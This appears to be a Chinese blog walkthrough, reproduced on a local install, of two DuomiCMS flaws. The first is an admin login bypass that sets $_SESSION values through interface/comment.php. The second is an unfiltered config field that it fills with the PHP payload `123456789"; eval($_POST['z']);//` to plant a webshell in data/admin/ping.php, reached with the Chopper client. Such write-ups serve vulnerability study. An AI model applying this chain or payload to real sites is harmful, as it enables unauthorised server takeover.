首先在本地搭建好环境。
先直接访问后台:http://localhost/duomicms/admin/index.php,发现跳到了登录页面,可见一定有登录状态的验证,验证不通过,就跳转到了登录页面:
查看后台 /duomicms/admin/index.php 的代码:
image.png
代码最下面包含进去的 index.htm 就是后台首页的HTML代码,所以登录状态的验证,应该就在前面包含的 config.php 和 inc_menu.php 中,
先来看 /duomicms/admin/config.php,其中,会执行的代码如下:
image.png
红方框中,为校验用户登录状态的部分。
先来看 /duomicms/duomiphp/check.admin.php:
image.png
这里定义了 CheckPurview() 来进行用户权限检查,如果是管理员才可以(getUserRank() 返回为1即可)。
搜索 CheckPurview() 函数被调用的地方,发现 /duomicms/admin 目录下绝大部分的 php 文件都调用了该函数:
image.png
毕竟这个目录下的源文件负责后台管理的。
另外可以看到这里还调用了 session_start(); 说明是可以通过 _SESSION[ ] 接收请求参数的。
getUserRank() 是类 userLogin 的一个成员方法,该类的定义就在该文件的最后,该成员方法实现如下:
image.png
查看 成员方法 getgroupid():
image.png
继续查看 成员变量 $this->groupid 被赋值的地方,发现在 userLogin 的对象创建时,会被赋值:
image.png
另外,同为 userLogin类的成员变量的 $userID,就是上面提到的 /duomicms/admin/config.php 中 getUserID() 函数返回的值。
可以看到 userID 和 groupid的值,都能通过 $_SESSION[ ] 进行传入。
由于 /duomicms/interface/comment.php 的第一行代码就调用了 session_start();
因此,可以将 _SESSION参数传入通过该文件来传入,尽管有的 php文件中也有调用 session_start(); 但不一定能通过我们构造的URL成功传入 $_SESSION[ ],比如 /duomicms/duomiphp/check.admin.php :
如图,说明都没执行到 session_start(); 就 exit()了。
因此,构造并访问如下URL:
再访问后台首页,发现绕过了登录验证,成功进入:
image.png接着,要进一步利用,在百度推送那个地方有个可以利用的点:
image.png我们在编辑框修改的内容,会写入到 /duomicms/data/admin/ping.php 文件中。
先点击确认,然后再查看一下该文件:
那么,我们在准入密钥编辑框中写入 123456789"; eval($_POST['z']);//
再查看 /duomicms/data/admin/ping.php 文件:
发现它并没有进行安全过滤,于是成功 get shell :
image.png用菜刀也能连接了:
image.png image.pngPS:我是将菜刀放到虚拟机里面去运行的,所以这里的ip部分不是localhost或者127.0.0.1。
网友评论